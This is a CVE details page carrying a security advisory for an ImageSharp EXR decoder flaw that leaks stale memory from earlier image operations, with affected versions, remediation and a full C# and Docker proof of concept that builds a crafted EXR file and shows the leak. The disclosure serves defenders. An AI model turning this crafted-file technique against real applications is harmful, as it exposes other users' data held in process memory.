Loading...
Skip to main content

CVE-2026-106111 — Vulnerability in SixLabors.ImageSharp — CVE Details

MEDIUM

ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate

Published October 7, 2026Updated October 7, 2026Source: osv

Summary

## Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared `Configuration.Default` allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application. No active exploitation is known. ## Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected published releases: **4.0.0, 4.1.0, and 4.1.1** - Affected range: `>= 4.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them. ## Details For ZIP/ZIPS EXR compression, [`ExrDecoderCore`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/ExrDecoderCore.cs#L169-L205) allocates the expected block buffer without `AllocationOptions.Clean` and later interprets the complete buffer as channel data. [`ZipExrCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/Decompressors/ZipExrCompression.cs#L25-L38) accepts a partial but non-empty inflate result: [`UndoZipCompression`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Formats/Exr/Compression/ExrBaseDecompressor.cs#L45-L75) rejects only `totalRead == 0`. Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. `ExrDecoderCore` then converts those bytes into returned image pixels. ## Reproduction The attached Docker PoC uses the published `SixLabors.ImageSharp` NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value `0.27182817`. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR. The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output. ```sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control ``` Test environment: Docker with `mcr.microsoft.com/dotnet/sdk:8.0`, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64. Observed output: ```text imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=exploit prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=True first-prior-value-pixel=4 imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f mode=control prior-operation=valid-exr-encode-completed bytes=383 prior-value=0.27182817 leaked=False first-prior-value-pixel=-1 ``` ## Suggested remediation Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes. ### Complete PoC files Program.cs: ```csharp using System.Buffers.Binary; using System.Globalization; using System.IO.Compression; using System.Reflection; using System.Text; using SixLabors.ImageSharp; using SixLabors.ImageSharp.Formats; using SixLabors.ImageSharp.Formats.Exr; using SixLabors.ImageSharp.Formats.Exr.Constants; using SixLabors.ImageSharp.PixelFormats; // This performs two independent completed ImageSharp operations in one process. // The first is a valid EXR encoding containing a test value. The second is a // malformed EXR decode whose short ZIP result exposes that value from the // allocator shared through Configuration.Default. internal static class Program { private const int PriorWidth = 64; private const int AttackerWidth = 256; private const float PriorValue = 0.271828182f; private static int Main(string[] args) { bool exploit = args.Length == 0 || args[0] == "exploit"; if (args.Length > 0 && args[0] is not ("exploit" or "control")) { Console.Error.WriteLine("usage: final-4q3p [exploit|control]"); return 2; } Assembly imageSharp = typeof(Image).Assembly; string informationalVersion = imageSharp .GetCustomAttribute<AssemblyInformationalVersionAttribute>()? .InformationalVersion ?? "(missing)"; Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}"); Console.WriteLine($"mode={(exploit ? "exploit" : "control")}"); EncodePriorOperation(); // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024 // uncompressed bytes. The control payload supplies all 1024 bytes. // The exploit payload supplies eight non-empty bytes. byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float)); using Image<RgbaVector> result = Image.Load<RgbaVector>( new DecoderOptions { Configuration = Configuration.Default }, new MemoryStream(exr)); result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory); int firstLeak = FindPriorValue(memory.Span); Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}"); Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}"); if ((firstLeak >= 0) != exploit) { Console.Error.WriteLine("unexpected disclosure result"); return 1; } return 0; } private static void EncodePriorOperation() { using var previousImage = new Image<RgbaVector>(PriorWidth, 1); for (int x = 0; x < PriorWidth; x++) { previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f); } using var encoded = new MemoryStream(); previousImage.Save(encoded, new ExrEncoder { Compression = ExrCompression.Zips, PixelType = ExrPixelType.Float, }); Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}"); } private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels) { int expectedBits = BitConverter.SingleToInt32Bits(PriorValue); for (int x = 0; x < pixels.Length; x++) { if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits) { return x; } } return -1; } private static byte[] BuildAttackerExr(int inflatedBytes) { byte[] compressed = ZlibCompress(new byte[inflatedBytes]); using var output = new MemoryStream(); using var writer = new BinaryWriter(output); writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic writer.Write((byte)2); writer.Write(new byte[] { 0, 0, 0 }); using (var channels = new MemoryStream()) using (var channelWriter = new BinaryWriter(channels)) { WriteString(channelWriter, "R"); channelWriter.Write(2); // FLOAT channelWriter.Write((byte)0); channelWriter.Write(new byte[] { 0, 0, 0 }); channelWriter.Write(1); channelWriter.Write(1); channelWriter.Write((byte)0); WriteAttribute(writer, "channels", "chlist", channels.ToArray()); } WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS WriteBox(writer, "dataWindow"); WriteBox(writer, "displayWindow"); WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 }); byte[] one = new byte[4]; BinaryPrimitives.WriteSingleLittleEndian(one, 1F); WriteAttribute(writer, "pixelAspectRatio", "float", one); WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]); WriteAttribute(writer, "screenWindowWidth", "float", one); writer.Write((byte)0); // end of header long chunkOffset = output.Position + sizeof(ulong); writer.Write((ulong)chunkOffset); writer.Write((uint)0); // scanline writer.Write((uint)compressed.Length); writer.Write(compressed); writer.Flush(); return output.ToArray(); } private static void WriteBox(BinaryWriter writer, string name) { using var value = new MemoryStream(); using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true)) { box.Write(0); box.Write(0); box.Write(AttackerWidth - 1); box.Write(0); } WriteAttribute(writer, name, "box2i", value.ToArray()); } private static byte[] ZlibCompress(byte[] source) { using var compressed = new MemoryStream(); using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true)) { zlib.Write(source, 0, source.Length); } return compressed.ToArray(); } private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value) { WriteString(writer, name); WriteString(writer, type); writer.Write(value.Length); writer.Write(value); } private static void WriteString(BinaryWriter writer, string value) { writer.Write(Encoding.ASCII.GetBytes(value)); writer.Write((byte)0); } } ``` Project file: ```xml <Project Sdk="Microsoft.NET.Sdk"> <PropertyGroup> <OutputType>Exe</OutputType> <TargetFramework>net8.0</TargetFramework> <Nullable>enable</Nullable> <ImplicitUsings>enable</ImplicitUsings> </PropertyGroup> <ItemGroup> <PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" /> </ItemGroup> </Project> ``` Dockerfile: ```dockerfile FROM mcr.microsoft.com/dotnet/sdk:8.0 WORKDIR /poc COPY final-4q3p.csproj Program.cs ./ # Debug is intentional: ImageSharp 4.1.1's package build target reports a # missing-license warning rather than an error in this configuration. The # program is still compiled against the published 4.1.1 NuGet assembly. RUN dotnet restore && dotnet build -c Debug --no-restore ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"] ``` Run: ```sh docker build -t imagesharp-4q3p-poc . docker run --rm imagesharp-4q3p-poc exploit docker run --rm imagesharp-4q3p-poc control ```

Advisory Timeline

  • First published October 7, 2026 (5 days ago).
  • Last revised October 7, 2026 — 0 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

NuGet
Update SixLabors.ImageSharp to 4.1.2 or later
dotnet add package SixLabors.ImageSharp --version 4.1.2

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: nuget (1).

PackageEcosystemAffectedFixed In
SixLabors.ImageSharp
nuget
4.0.0, 4.1.0, 4.1.14.1.2

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 5.9 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Frequently Asked Questions

What is CVE-2026-106111?
ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate This vulnerability has been assigned a severity rating of MEDIUM (CVSS score: 5.9/10).
How do I check if my project is affected by CVE-2026-106111?
CVE-2026-106111 affects SixLabors.ImageSharp. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-106111 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
5.9

Exploitation requires specific conditions or has limited impact. Remediate within weeks.

Also Known As

GHSA-4q3p-rj5x-xv7p

Related CVEs

Check if you're affected

Scan your dependencies to see if this vulnerability affects your projects.

Scan Your Dependencies